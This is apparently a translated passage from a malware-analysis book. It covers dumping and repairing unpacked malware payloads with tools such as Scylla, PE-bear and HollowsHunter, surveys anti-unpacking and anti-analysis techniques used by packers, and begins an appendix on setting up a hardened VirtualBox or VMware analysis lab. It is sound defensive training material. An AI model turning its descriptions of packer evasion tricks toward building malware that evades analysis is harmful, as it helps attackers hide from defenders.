有几种方法可以从内存中转储恶意软件解包的有效载荷。一种方法是使用 Scylla,步骤大致与本章前面描述的一致。在 x64dbg 中启动 Scylla,只需导航到 插件Scylla。选择恶意软件的进程,在 OEP 字段中输入 OEP 地址(如果你已经找到了),或者保持默认的 OEP 设置。你还可以点击 IAT 自动搜索 和 获取导入 来尝试自动重建 IAT。最后,点击 转储。转储解包的有效载荷后,你可能还需要使用 PE 重建选项来修复可执行文件。
另外,你也可以使用 OllyDumpEx,它包含在一些 x64dbg 的包中,或者可以在这里找到:https://

图 17-35:x64dbg 中的 OllyDumpEx 插件
最后,你可以使用本地的 x64dbg 界面将可疑的内存区域保存到磁盘。右键点击反汇编窗口并选择 在内存映射中跟踪。接下来,选择包含解包代码的内存区域,右键点击并选择 将内存转储到文件。
在这种情况下,提取的内存将以二进制数据的形式存在,通常保存为 .bin 文件。运行字符串工具(如 Strings 或 PE Viewer)来查看提取的内存通常是一个不错的第一步。查看字符串可以提供有关如何继续分析的线索。然而,如果你将这个文件加载到反汇编器中查看代码,你可能会失望地发现它需要一些修复。
解包可执行文件修复
一旦解包的有效载荷被转储到磁盘,根据提取方式的不同,它可能无法处于可执行状态或在反汇编器中清晰可分析。常见的原因包括文件错位、PE 头损坏或 IAT 损坏,这些问题也可能使静态分析可执行文件变得困难。让我们看看如何修复这些问题。
自动修复
Scylla 允许你重建一个损坏的可执行文件转储。在你将恶意软件的可疑解包载荷从内存中转储出来后,启动 Scylla(无论是独立版本还是集成在 x64dbg 中的插件),选择恶意软件的运行进程,输入正确的 OEP(如果已识别),然后点击 IAT 自动搜索,接着点击 获取导入。你可能会收到是否使用高级结果的提示。如果不确定,选择 否。如果这个方法不正确,可以稍后再尝试使用高级结果。接下来,点击 修复转储,选择你的内存转储文件,并保存文件。检查新生成的可执行文件后,如果 PE 头损坏,你也可以点击 PE 重建 来重建头部。还有其他工具可以用来重建 IAT,如 Imports Fixer、ImpREC 和 ChimpREC,但我发现 Scylla 是重建导入最好的工具之一。如果 Scylla 在你的特定情况下不起作用,可以随时尝试这些其他工具。
我的另一个常用工具用于修复未映射(dump)的 PE 可执行文件是 PE Unmapper(https://
C:\> **pe_unmapper.exe dumped_executable.mem 0x13F630000 fixed_executable.exe**
要执行 PE Unmapper,你需要将工具(pe_unmapper.exe)指向目标内存映像(在本示例中是 dumped_executable.mem),指定映像的基址(即从内存中转储映像的位置;在此案例中为 0x13F630000),然后指定输出文件名(在此案例中为 fixed_executable.exe)。
手动重新对齐
如果你的自动化工具失败了,你需要使用像 PE-bear 这样的 PE 编辑器工具手动重新对齐头部。在 PE-bear 中,只需加载可执行文件并导航到 Section Hdrs 选项卡,你应该可以看到所有部分及其关联的原始大小和虚拟大小。记住,原始大小表示文件在磁盘上的大小,而虚拟大小表示文件加载到内存中的大小。由于我们已将文件从内存中卸载,我们需要尽量让磁盘上的文件与内存中的文件匹配得尽可能紧密。图 17-36 展示了在部分重新对齐之前转储的可执行文件的样子。

图 17-36:在 PE-bear 中查看新卸载的可执行文件
注意到原始地址(Raw Addr.)和虚拟地址(Virtual Addr.)的偏移量并不匹配。要修复并重新对齐文件,首先确保每个原始地址与其相关联的虚拟地址匹配。这可以通过将虚拟地址列中的内容简单地复制到原始地址列来完成。例如,如果.text节的虚拟地址是1000,那么原始地址也应该是1000。
接下来,我们需要重新计算原始大小,以匹配新的原始地址,从而为文件分配空间。通过将第一个节(通常是.text)的原始地址减去下一个列出的节(通常是.rdata)的原始地址来完成。例如,如果.text节的原始地址是 1000 字节,而.rdata节的原始地址是 13000 字节,那么.text节的原始大小应该是A000(在十进制中为 12000 字节)。你需要对每个地址进行类似的计算。对于最后一个节,你可以尝试输入 0 字节,这通常是可以的。如果这不起作用,可以尝试将其更改为 1000 字节之类的值。图 17-37 展示了解包后的文件应该是什么样的。

图 17-37:在 PE-bear 中查看修复后的可执行文件
要测试对齐是否成功,请导航到 PE-bear 中的Imports选项卡,你应该能看到列出的导入项。如果需要,你可以使用 Scylla 尝试重建 IAT 和头部信息,如前所述。
如果自动和手动修复都无效,而解包后的可执行文件仍然无法运行,你不一定需要修复它。你可以继续在调试器中检查恶意软件(因为当你从内存中转储它时,解包后的有效载荷已经准备好执行),或者你可以尝试在反汇编器或 PE 工具中分析解包后的可执行文件。它可能会更难导航,你可能需要手动标记 Windows 函数调用。
动态解包的通用技巧
有时候这些技巧可能不起作用。恶意软件可能使用了不常见的解包方法,或者它在解包或注入代码时特别隐蔽。如果你遇到这种情况并且遇到了瓶颈,有一些通用技巧可能会帮助你摆脱困境。
倒推分析
如果你在分析一个顽固的恶意软件样本时无法跟踪解包过程或定位 OEP,倒推分析可能会有所帮助。
首先,你需要识别恶意软件表现出的某种行为,并确定可能负责此行为的 Windows API 函数。例如,如果恶意软件试图通过 HTTP 联系 C2 地址,它可能在有效载荷解包后调用 InternetConnectA 函数。或者,如果恶意软件正在创建和修改磁盘上的文件,它可能会调用 WriteFile 函数。
接下来,在你已经确定的函数上设置断点。一旦断点被触发,向回跟踪代码并尝试找到解包例程、样本首次解包的内存区域,或者(更好的是)OEP。
钩取 Windows 解密和压缩函数
恶意软件打包器在解包过程中可能会调用本地 Windows API 解密相关的函数。这些函数中有两个是 CryptDecrypt 和 RtlDecompressBuffer。CryptDecrypt 用于解密之前使用 CryptEncrypt 函数加密的数据。在 CryptDecrypt 上设置断点,可能会让你直接捕获恶意软件解密后的有效载荷(或其他重要数据)的一部分,捕获时机是解密后但未执行之前。断点触发后,检查传入 CryptDecrypt 函数的缓冲区(通常是堆栈上的 第五 个值)。
RtlDecompressBuffer 有时被恶意软件用来解压先前压缩的缓冲区。与 CryptDecrypt 一样,在 RtlDecompressBuffer 上设置断点,并在函数调用后检查缓冲区(通常是堆栈上的 第二 个值)。你可能会幸运地看到这个缓冲区中的新解包代码或可执行文件。
定位打包代码
IDA Pro 和一些其他反汇编工具有一个功能,可以将可执行文件中的数据和代码以彩色框的形式可视化。你可以在 IDA 界面顶部找到这种可视化效果,如图 17-38 所示。

图 17-38:IDA Pro 中文件的可视化表示
尽管在黑白书籍中你看不见它,但这个可视化表示为文件中不同类型的数据分配了不同的颜色。未探索部分(位于此图像的最右侧)是可执行文件中 IDA 无法确定数据类型的区域。有时这些区域是加密或打包的数据或代码,或者是恶意软件在执行后写入数据的区域。这些区域通常会被分配一个名称(例如 unk_4141C0 或 dword_1000502C)。如果选择该区域名称并按下 X(跨引用的快捷键),你应该会看到一个列出引用该区域的代码区域的列表。探索这些代码区域可能会引导你找到恶意软件的主要解包例程!或者,在引用未探索区域的代码区域上设置断点,可能会帮助你了解恶意软件如何使用该区域。
动态解包的有用工具
由于解包有时非常困难,因此在困难时刻依赖一组工具会非常有帮助。本节将概述我最喜欢的一些工具。
HollowsHunter
HollowsHunter(https://
表 17-2: 有用的 HollowsHunter 参数
| 参数 | 描述 |
|---|---|
| /help | 显示所有命令及其用法。 |
| /pid pid | 指定要扫描的目标进程 ID,而不是扫描所有进程。也可以指定多个目标进程 ID。 |
| /loop | 在初始扫描完成后继续循环。适用于 监控系统上运行的进程,以防恶意软件解压或代码注入存在延迟。 |
| /data | 扫描不可执行的内存区域以及可执行区域。如果你怀疑恶意软件可能正在写入代码或数据,并将其设置为不可执行保护(如 R、W、RW 等),请启用此选项。 |
| /hooks | 扫描内存补丁和内联钩子。 |
| /iat mode | 扫描 IAT 钩子。将 mode 设置为 1 将执行过滤扫描,排除系统 IAT 钩子的噪音。 |
| /shellc | 扫描 shellcode 注入。可能会产生一些噪音,因此请谨慎使用。 |
| /imp mode | 尝试恢复任何转储的可执行文件的导入表。将 mode 设置为 1 将尝试自动检测正确的导入重建方法。 |
要使用 HollowsHunter,在你的分析环境中执行恶意软件并运行 HollowsHunter,使用所需的命令行选项,如下所示:
C:\> **hollows_hunter64.exe /loop /hooks /shellc /iat 1 /imp 1**
该命令告诉 HollowsHunter 继续循环遍历系统上所有运行中的进程(/loop),特别是搜索钩子(/hooks)、注入的 shellcode(/shellc)和 IAT 钩子(/iat 1)。最后,HollowsHunter 将尝试重建转储的解压可执行文件的 IAT(/imp 1)。
在运行 HollowsHunter 后,它会尝试检测内存中的恶意代码。例如,在图 17-39 中,HollowsHunter 检测到了RuntimeBroker.exe和dllhost.exe进程中可能的恶意代码。这段代码可能是恶意软件解包自己后,随即注入到这些进程中的结果。

图 17-39:HollowsHunter 扫描进程内存
一旦检测到可疑代码,HollowsHunter 会将可疑的内存区域转储到磁盘,并将所有转储的内存镜像按进程 ID 整理成一系列目录,正如图 17-40 所示。

图 17-40:HollowsHunter 输出结果
HollowsHunter 通常是我尝试的第一个解包技术。有时候我只需要快速获得解包后的恶意软件样本,而不必在解包过程中浪费时间。一个类似的工具 Mal_Unpack(https://

图 17-41:Mal_Unpack 解包 Dridex 恶意软件样本
如你所见,Mal_Unpack 成功解包了一个属于 Dridex 家族的恶意软件样本!
这两个工具都可以成为你分析工具库中有价值的补充。然而,由于 HollowsHunter 能够扫描主机上所有运行的进程,它通常能识别并定位恶意软件注入到其他进程中的代码。因此,我常常发现它更符合我的需求。我建议尝试这两个工具,以确定哪个最适合你。
ScyllaHide RunPE 解包器
我在本书中多次提到的 ScyllaHide,提供了一个名为 RunPE 解包器的选项,旨在当它检测到解包发生时,自动从内存中提取可执行文件。该功能挂钩了NtResumeThread,以拦截某些进程注入技术,并在恶意软件执行其有效载荷之前转储解包后的恶意软件。
要使用此功能,请将恶意软件样本加载到 x64dbg 中,选择插件ScyllaHide选项。勾选RunPE 解包器并点击应用,如图 17-42 所示。

图 17-42:ScyllaHide 中的 RunPE 解包器
启用此功能后,像平常一样运行恶意软件。如果解包成功,你应该会在桌面上看到一个新创建的可执行文件;你不会收到其他关于成功与否的通知。RunPE 解包器针对特定的进程注入技术,并非所有情况下都有效。但在有效时,它能节省你大量时间。
关于仿真与插桩的说明
仿真器和二进制插桩框架,我们将在附录 A 中简要讨论,也可用于动态解包恶意软件。这些工具集甚至可以提供一种完全自动化解包过程的方法。例如,Speakeasy(https://
其他工具
最后,你可以在 GitHub 上找到几个有助于解包的 x64dbg 脚本和插件,链接如下:https://
最后需要注意的是,来自惊人的恶意软件研究和逆向工程社区,总是会有新的创新研究项目和工具发布,因此我无法在这里一一列举。始终关注新发布的工具,它们能帮助解包并更广泛地进行恶意软件分析。
手动静态解包
我们将讨论的最后一种解包方法是静态解包,即逆向工程解包机制的过程,分析一个打包的恶意软件样本,然后编写代码复制该机制。当这段代码在打包的恶意软件可执行文件上运行时,恶意软件样本理论上会被解包。编写静态解包器的过程大致如下:
1. 定位打包的恶意软件可执行文件中的解包例程。
2. 定位解混淆或解密过程中的具体指令。
3. 逆向工程解密例程(可以借助反编译器完成,比如内置在 IDA Pro、Ghidra 或 x64dbg 中的反编译器)。
4. 编写静态解包代码,以模拟可执行文件中的解包例程。
5. 将打包的恶意软件样本输入静态解包器并进行测试!根据需要进行调试。
我选择不深入讲解这种解包技术有两个原因。首先,这个过程可能非常耗时且乏味,学习其他解包技术可能是更好的时间利用,假设你的目标是快速解包恶意软件样本以便更好地理解它。其次,如果你成功逆向工程解包技术并编写了静态解包器,你的代码可能只能在这个特定样本上正常工作,因为恶意软件打包器通常会在解包例程中引入某种随机性(例如随机解密密钥、混淆技术或其他方式)。静态解包器对于打包器代码的重大修改并不具有韧性。
这并不意味着手动静态解包没有价值。静态解包器通常更适合大规模分析。例如,如果你试图一次解包几十或几百个样本,静态解包比将所有这些样本通过动态引擎运行更高效。此外,逆向解包过程并编写解包器是了解恶意软件如何打包其代码的好方法,通常也是了解加密、压缩和混淆的好方法。
无解包分析
有时你可能会发现自己无法成功解包恶意软件样本。也许在恶意软件运行时你失去了对样本的控制,无法确定恶意软件是如何以及在哪里解包的,或者找不到 OEP。在这种情况下,问问自己是否真的需要解包恶意软件。你试图通过解包实现什么目标?你想回答哪些问题?
在许多情况下,你不必完全解包样本就能理解其关键行为,甚至可以进行代码分析。你可以使用本书中介绍的技术,从内存中提取解包后的恶意软件样本的部分内容。这将使你至少能够对数据、代码和提取的字符串进行一些分析。或者,你可以在调试器中检查正在运行的恶意软件,监控其行为,设置在有趣的函数调用上的断点,检查内存中的代码和字符串。最后,有时仅仅在自动化沙箱中检查恶意软件的执行状态就足以让你理解恶意软件的基本功能。
反解包技术
到目前为止,我们一直在讨论恶意软件打包工具用于解密和去混淆恶意软件有效载荷、将其写入内存并执行的典型方法,有时是以隐蔽的方式。我们也讨论了常见的自动和手动解包方法,以便更好地分析和理解恶意软件。但是,如果恶意软件打包工具本身反击并试图规避你的工具和分析怎么办?一些打包工具,尤其是专门为恶意软件设计的工具,会实现某种形式的虚拟机和沙盒检测技术,并试图规避分析过程,以保护恶意软件的原始代码。因此,了解和理解高级打包工具使用的常见反解包技术非常重要。
本书中已经讨论了许多这些技术。例如,恶意软件打包工具通常会实现 第二部分中讨论的沙盒和虚拟机检测技术。在解包恶意代码之前,打包工具会尝试识别样本是否运行在虚拟机或沙盒环境中,如果是,它会避免解包。
许多恶意软件打包工具还利用了 第十章中讨论的技术来检测和阻碍调试程序。例如,在解包和运行恶意代码之前,打包工具会尝试检测是否正在被调试,如果是,它会终止自身。它还可能通过使用反调试技术(例如干扰断点或使用内存保护页)来干扰手动解包过程。一些打包工具甚至实现了 第八章中讨论的沙盒规避技术。例如,它们可能在解包和执行恶意软件有效载荷之前先睡眠一段时间,从而在恶意软件沙盒中创建超时情况并混淆分析过程。
基本的反解包技术可以像修改原始打包程序一样简单,使其更难被检测和解包,这可以通过任何著名或开源的打包工具来实现。例如,恶意软件作者可以使用 UPX 打包工具打包他们的样本,但修改它以去除正常的节名称字符串(如 UPX0、UPX1 等)或破坏其头部。然后,当恶意软件分析师尝试识别打包工具时,他们将不容易检测到 UPX。此外,打包工具的代码可以被修改,使正常的 UPX 解包变得不可能(例如,使用 UPX 工具)。打包工具还可以修改或破坏解包后的可执行文件头部,这样在解包样本时,自动化工具和恶意软件分析师就更难定位解包后的 PE 文件。
IAT 混淆是恶意软件加壳程序采用的另一种技术。在加壳程序解析初始的导入函数后,它可能会修改或完全销毁 IAT,然后在稍后的时刻通过动态解析函数地址来重建 IAT。同样地,加壳程序也可能会分配一块独立的内存区域,如跳转表,用来存储跳转到它希望执行的函数的指令,从而混淆其 IAT。
最后,恶意软件加壳程序可以通过彻底混淆的方式进行自我掩盖。加壳程序往往具有非常复杂的控制流程,包含难以理解的代码和控制流转换(如在第九章和第十一章中讨论的一些技巧),使得跟踪代码和解包过程变得困难。加壳程序可能还会通过多次步骤解包恶意代码,进一步混淆解包过程,令分析人员难以清晰地解包恶意软件的有效载荷。
总结
在本章中,您了解了一些常见的加壳程序类型以及恶意软件如何利用加壳程序来混淆代码,阻碍分析人员和研究人员理解其行为,并逃避检测和防御工具。您还看到了一些可以用来剖析解压器层并获取恶意软件核心(其有效载荷)的方法。最后,我们简要探讨了恶意软件加壳程序如何尝试规避分析措施。
在附录 A 中,我们将探讨如何建立一个有效的反规避分析实验室,这在您的恶意软件规避调查中将是一个极大的资产。
结束语
本章标志着恶意软件规避的结束。希望您已经获得了可以应用到威胁调查和分析工作中的新技能。但最重要的是,我希望这本书能激发您对规避威胁领域的兴趣,并让您渴望获得更多的知识。
我鼓励您继续研究这一迷人的话题。一个很好的开始是查阅附录 C,其中包含一些推荐的资源和进一步阅读。然后,尝试运用您的新技能,拆解一段有趣的恶意软件。进行实验,揭示它如何试图规避防御和您的分析工具。最重要的是:记录您的发现与他人分享!我们共同抵抗恶意软件和网络犯罪的力量远大于单打独斗。感谢您的阅读。
第十九章:A 建立一个反规避分析实验室

建立一个分析实验室是恶意软件分析的关键部分,对于高度规避和上下文感知的恶意软件尤其如此。一个调试良好的分析环境使得分析和逆向这类恶意软件的困难任务变得稍微容易一些。在本章中,我将带你创建一个基本的恶意软件分析实验室环境,提供一些隐藏你的虚拟机管理程序和虚拟机免受恶意软件攻击的配置建议,并分享一些你在分析过程中可以使用的小技巧。
实验室架构
恶意软件分析实验室环境包含支持分析过程的各种虚拟机、软件和其他工具。实验室环境很可能包括图 A-1 中展示的所有或部分组件。

图 A-1:一个典型的恶意软件分析实验室环境
让我们依次介绍每个部分。
主机
你的主机由一个或多个计算机组成,这些计算机包含并运行你的恶意软件分析虚拟机。通常最好选择与恶意软件操作系统不同的主机操作系统。例如,在本书中,我主要关注的是 Windows 恶意软件,因此我会选择 Linux 或 macOS 作为我的主机操作系统。原因很简单:如果你分析的恶意软件逃脱了 Windows 虚拟机环境(虽然不太可能,但仍然有风险),那么主机上的不同操作系统意味着恶意软件很可能无法感染它。
虚拟机管理程序
恶意软件分析实验室的第二个最重要的组件是虚拟机管理程序。本质上,虚拟机管理程序将主机计算机的资源(处理能力、内存、存储等)分配给虚拟操作系统及其应用程序(虚拟机)。虚拟机管理程序可以同时运行多个虚拟机,并确保它们彼此不会干扰。
大多数虚拟化管理程序都可以进行快照,即虚拟机在某一特定状态下的镜像,这是恶意软件分析中的重要组成部分。在配置好虚拟机后,记得先拍摄一个“干净的”预感染快照;这将成为你启动恶意软件前的起始点。在恶意软件执行的关键节点,你甚至可以在分析过程中拍摄快照。例如,你可能希望在调试恶意软件可执行文件时拍摄虚拟机的快照。如果调试器崩溃或者恶意软件使用了反调试技术,你可以根据需要轻松恢复到先前的快照。分析完成后,快照也可以恢复到原始状态。我们将在本章后面再次讨论快照。
两个最受欢迎的虚拟化管理程序分别是 VirtualBox 和 VMware Workstation,适用于 Windows 和 Linux 系统。稍后我们会再次讨论它们。
受害者 Windows 虚拟机
当处理针对 Windows 的恶意软件时,你应当专门配置一个或多个 Windows 虚拟机作为“受害者”主机,在这些主机上执行恶意软件并监控其行为。(对于针对 Linux 或 macOS 的恶意软件,你需要相应的配置。)由于一些恶意软件专门针对特定版本的 Windows,保持不同配置的虚拟机是明智的选择。例如,我同时使用 Windows 7 和 Windows 10 虚拟机,并且在它们上安装了不同版本的软件(如 Microsoft Office)。请注意,你不应主要依赖 Windows 7 来进行恶意软件分析;由于它现在已经相当过时,可能缺少现代恶意软件所依赖的文件和库!
恶意软件分析和研究社区慷慨地提供了许多便捷的、免费的开源工具,用于配置你的受害者机器。
服务 Windows 虚拟机
如其名称所示,“服务”Windows 虚拟机托管着可能用于支持恶意软件分析过程的服务。举例来说,包括活动目录服务(用于模拟 AD 域)、服务器消息块(SMB)和文件共享服务、聊天服务(如 IRC)以及数据库服务器。如果你正在分析的恶意软件样本尝试与网络中的其他服务通信,安装这些服务并观察恶意软件如何与它们交互是没坏处的。然而,这个实验室组件并不是严格的要求,你可能能够在没有它的情况下进行分析;这完全取决于恶意软件的能力以及你在分析中要达成的目标。你甚至可以使用网络模拟工具(如 INetSim、FakeDNS 或 FakeNet)模拟其中一些服务,稍后我们会简要讨论这些工具。
Linux 虚拟机
即使你处理的是针对 Windows 的恶意软件,手边有一台 Linux 虚拟机也是个好主意。Linux 有许多命令行工具,可以为你节省大量时间和精力。它还可以作为 Windows 受害者虚拟机的网络网关,通过监控和伪造网络服务来提供支持。甚至还有一些预构建的 Linux 恶意软件分析环境。Remnux (https://
现在你已经基本了解了分析实验室的组成,是时候自己搭建一个了!
搭建你的实验室
本节将引导你搭建一个基本的恶意软件分析实验室,该实验室由一个安装了虚拟机管理程序的主机、一台 Windows 受害者虚拟机和一台 Linux 虚拟机组成。由于主机操作系统和虚拟机管理程序的组合种类繁多,我无法涵盖所有情况,因此本实验假设你的主机操作系统是 Linux 的某个版本,如 Ubuntu,并且你的虚拟机管理程序是 VMware Workstation 或 Oracle VirtualBox。以下步骤也适用于 Windows 或 macOS 主机,但请注意,可能需要对一些细节进行调整。
选择虚拟机管理程序
你选择的虚拟机管理程序将主要取决于你主机的操作系统和可用资源。以下是一些最受欢迎的虚拟机管理程序:
Oracle VirtualBox
VirtualBox (https://
VMware Workstation
VMware Workstation (https://
VMware Fusion
VMware Fusion (https://
Microsoft Hyper-V
Hyper-V (https://
KVM(基于内核的虚拟机)
KVM (https://
作为付费产品,VMware Workstation 和 VMware Fusion 拥有一些免费的或开源虚拟化管理程序所没有的附加功能。不过,根据我的经验,VirtualBox 完全适合恶意软件分析,在使用过程中我并没有感觉缺少任何功能。
选择虚拟化管理程序后,您需要下载并安装它。对于 VirtualBox,您可以在 https://
安装虚拟化管理程序后,您需要验证一些设置。
验证虚拟化管理程序的网络设置
要在稍后为虚拟机实现网络功能,首先需要检查 VirtualBox 虚拟机管理程序的网络设置。在 VirtualBox 中,导航到文件主机网络管理器。
如果此处没有列出任何网络,请点击创建来创建一个。您可以简单地使用默认设置(将 IPv4 地址设置为 192.168.56.1,子网掩码设置为 255.255.255.0 等等),但在 DHCP 服务器选项卡中,请确保选中启用服务器。
如果在 VirtualBox 主机网络管理器中没有看到任何网络,且在尝试创建网络时遇到“错误:VBoxNetAdpCtl:添加新接口时出错:无法打开 /dev/vboxnetctl:没有此类文件或目录”等错误,尝试退出 VirtualBox,在终端执行以下命令,然后重新启动 VirtualBox:
> **sudo modprobe vboxnetadp**
如果您使用的是 VMware Workstation 虚拟化管理程序,网络设置上没有特别要求,您可以继续进行下一步:在虚拟机上下载并安装 Windows。
获取 Windows 镜像
要创建 Windows 受害者虚拟机,你需要一份 Windows 7、10 或 11 的拷贝,但我将以 Windows 10 作为示例,因为它是我进行恶意软件分析时的首选操作系统。你可能已经有一份 Windows 的拷贝和许可。如果没有,你可以从 https://
接下来,你需要选择要下载的 Windows 安装文件的语言以及架构(64 位或 32 位)。除非你明确要分析 32 位恶意软件,否则你应选择 64 位版本,这种情况比较少见。将 Windows ISO 文件放到一旁,稍后你会用到它。
创建 Windows 受害者虚拟机
现在,你将开始在选择的虚拟机管理程序中创建 Windows 虚拟机。我将以 VirtualBox 为例,稍后我会讨论 VMware Workstation 中相同的步骤。
注意
以下说明包含虚拟机管理程序中的一系列菜单。步骤可能会根据你使用的虚拟机管理程序版本有所变化。如果缺少某个配置窗口,或者你的窗口与此处描述的不同,具体的配置可能会在虚拟机创建过程中稍后显示在另一个窗口中。
在 VirtualBox 中创建虚拟机
如果你选择了 VirtualBox 作为你的虚拟机管理程序,启动程序并选择 机器新建,然后指定虚拟机的名称以及存储位置。同时指定你安装操作系统的类型和版本。对于我们的用途,类型应选择 Microsoft Windows,版本选择 Windows 10(64 位)。点击 下一步。
接下来,你需要配置虚拟机的一些基本设置。将内存大小设置为 4,096MB(即 4GB)或更高。逃避检测的恶意软件通常会使用内存大小检测作为反虚拟机技巧,因此将此值设置得尽可能高是很重要的(4GB 通常就足够)。这也会提升虚拟机的性能。然后,在硬盘设置中选择 现在创建虚拟硬盘 并点击 下一步。
要配置虚拟机的磁盘镜像,设置文件大小为至少 80GB。确保在硬盘文件类型中选择 VDI,并在物理硬盘存储中选择 动态分配。点击 创建。
你应该能够在 Oracle VM VirtualBox 管理器屏幕中看到并选择你创建的虚拟机,如 图 A-2 所示。

图 A-2:在 Oracle VM VirtualBox 管理器中创建的新虚拟机
现在我们将在 VMware Workstation 中介绍这些相同的步骤。
在 VMware Workstation 中创建虚拟机
要在 VMware Workstation 中创建新的虚拟机,请导航至文件新建虚拟机。您应该会看到新虚拟机向导对话框。在虚拟机配置下,选择典型(推荐),然后点击下一步。
VMware Workstation 应该会提示您选择安装操作系统的方式。选择使用 ISO 镜像,然后浏览到您之前下载的 Windows 10 ISO 文件。接着,点击下一步。
现在,您需要配置一些基本的 Windows 安装设置。将 Windows 产品密钥字段留空(除非您有产品密钥要输入)。在“安装 Windows 的版本”中,选择合适的 Windows 版本(在本例中,Windows 10 专业版)。在个性化 Windows 字段中,输入您的用户名(并可选择设置密码)以用于新的 Windows 安装。然后,点击下一步。
接下来,您需要指定新虚拟机的名称以及它和所有文件应存储的位置。配置完这些设置后,点击下一步。
要配置虚拟机磁盘,请将磁盘大小设置为至少 80GB,然后选择将虚拟磁盘存储为单个文件或将虚拟磁盘分割成多个文件。这一选择完全基于个人喜好。我个人更倾向于后者,因为将较小的虚拟机文件转移到另一个硬盘或 USB 驱动器上比转移一个庞大的文件要容易得多。一旦做出选择,点击下一步。
最后,您应该看到一个显示新虚拟机设置概述的屏幕。稍后,我们将自定义此虚拟机。现在,请确保取消选择创建后自动启动此虚拟机,然后点击完成以创建虚拟机。
在虚拟机中安装 Windows
现在,您已在选择的虚拟化平台中创建了虚拟机,准备好安装 Windows。要开始安装过程,首先需要将虚拟机指向 Windows 安装镜像(即您之前下载的 ISO 文件)。
如果您正在使用 VMware Workstation 并且已经按照之前的指示操作,ISO 文件已经加载到虚拟机中并准备好使用!对于 VirtualBox,您需要右键点击虚拟机并选择设置,然后点击存储。接下来,选择存储设备下的 CD 图标以及属性中的光驱下拉菜单(见图 A-3),导航到您磁盘上的 Windows ISO 文件,并点击确定保存配置。

图 A-3:将 Windows 安装程序 ISO 添加到 VirtualBox 虚拟机
要开始 Windows 安装过程,启动虚拟机。在 VirtualBox 中,右键点击虚拟机,鼠标悬停在启动上,然后选择正常启动。在 VMware Workstation 中,右键点击虚拟机,鼠标悬停在电源上,然后点击启动来宾操作系统。ISO 文件应该会加载并启动 Windows 安装过程。
Windows 安装过程大约需要 20 到 40 分钟。如果您需要帮助完成 Windows 10 的安装步骤,可以参考在线资源,例如在https://
完成安装后,关闭虚拟机并移除 Windows ISO 文件。(某些版本的 VirtualBox 和 VMware Workstation 会自动移除它。)对于 VirtualBox,您可以像添加 ISO 一样移除它:在虚拟机的存储设置中,右键点击 ISO 文件并选择从虚拟驱动器中移除磁盘。对于 VMware Workstation,只需确保在虚拟机的 CD/DVD 设置中取消勾选开机时连接。
调整虚拟机设置以实现隐蔽性和隔离性
接下来,您将进行一些基本配置和调优,以帮助限制虚拟机的足迹,使得难以被规避的恶意软件检测到它正在虚拟机中运行。将虚拟机与主机操作系统隔离也是一种安全措施,可以在恶意软件分析过程中更好地保护主机。这些设置通常非常容易实施,而且效果显著,因此不要忽视它们。
内存和处理器
为了防止恶意软件通过 CPU 和内存枚举来检测虚拟机,请将虚拟机的内存设置为尽可能高(至少 4GB),并使用至少两个处理器。这可能会让恶意软件误以为它正在非虚拟机环境中执行。
在 VirtualBox 中,要修改内存设置,请进入设置系统主板。要修改 CPU 设置,请进入设置系统处理器。
在 VMware 中,要访问内存设置,请进入设置内存。要设置 CPU,请进入设置处理器。
为分析虚拟机分配更多 CPU 和内存的另一个好处是性能提升。虚拟机越强大,在恶意软件分析过程中表现得越好,特别是一些恶意软件分析工具需要大量系统资源。请记住,规避性的恶意软件使用多种技术来干扰基于系统性能和资源的分析沙盒和虚拟机,例如 API 攻击(在第八章中详细介绍)。
硬盘大小
检查硬盘大小是恶意软件用来检测虚拟机的最古老、最简单、最常见的技术之一。虚拟机通常有较小的硬盘,因此请为你的虚拟磁盘驱动器分配至少 60GB 的空间。通常,我会分配 80GB 或更多。如果你按照本章前面提到的 VirtualBox 和 VMware Workstation 虚拟机创建说明操作过,那么你已经完成了这一步骤。
要检查 VirtualBox 中虚拟磁盘驱动器的存储空间,进入设置存储。在 VMware 中,进入设置硬盘。
你可以事后扩展虚拟机的硬盘大小,但通常最好在创建虚拟机时就配置硬盘大小。
显示设置和加速
支持3D 加速的功能能提升虚拟机的性能,但也可能使虚拟化程序暴露于某些恶意软件之下。为了防止被检测到,应禁用这些选项。在 VirtualBox 中,进入设置显示,然后在屏幕选项卡中确保没有选择启用 3D 加速。
在 VMware 中,进入设置显示,然后取消选择加速 3D 图形。
USB 控制器设置
一些恶意软件试图枚举系统上的 USB 控制器。如果系统使用的是过时的 USB 驱动程序(如 1.0 或 2.0 版本,而不是更新的 3.0 驱动程序),恶意软件可能会认为它正在分析机上运行。要配置此设置,在 VirtualBox 中进入设置USB,在 VMware Workstation 中进入设置USB 控制器。
网络适配器配置
在虚拟机中的恶意软件分析中,一个关键部分是理解并正确利用适合当前任务的虚拟机网络配置。你可以为分析实验室的虚拟机分配不同类型的网络配置,以下是一些最重要的模式:
未连接
VirtualBox 中的“未连接”模式(在 VMware Workstation 中,该设置是一个名为“开机时连接”的复选框,必须取消选中)本质上是关闭虚拟机的网络功能。虚拟机将完全与任何网络隔离,无法与其他虚拟机、本地主机的网络或互联网通信。这是分析恶意软件时最安全的选项。然而,现代的规避型恶意软件通常期望某种网络连接,因此在虚拟机处于此模式时,它可能无法完全执行(或根本无法执行)。出于这个原因,我在本章中不会进一步讨论此模式。
仅主机
主机仅连接是一种与主机操作系统共享的私人网络。在这种配置下,虚拟机无法访问互联网,但可以访问主机及其他运行在主机上的虚拟机。这个选项在安全性和效果之间提供了一个很好的折衷,尤其是当你使用另一台虚拟机作为网络网关时,正如我们稍后会在本章中探讨的那样。
桥接和 NAT
在桥接模式和网络地址转换(NAT)模式下,虚拟机连接到主机的本地网络,允许它访问互联网和其他网络资源。在桥接模式下,虚拟机有一个与主机不同的 IP 地址。在 NAT 模式下,虚拟机共享主机的 IP 地址,不能直接从本地网络访问。这里最重要的一点是,虚拟机(以及任何正在运行的恶意软件!)能够访问互联网。NAT 模式提供了一些额外的安全性,因此如果我需要虚拟机访问互联网,我会选择这个模式。
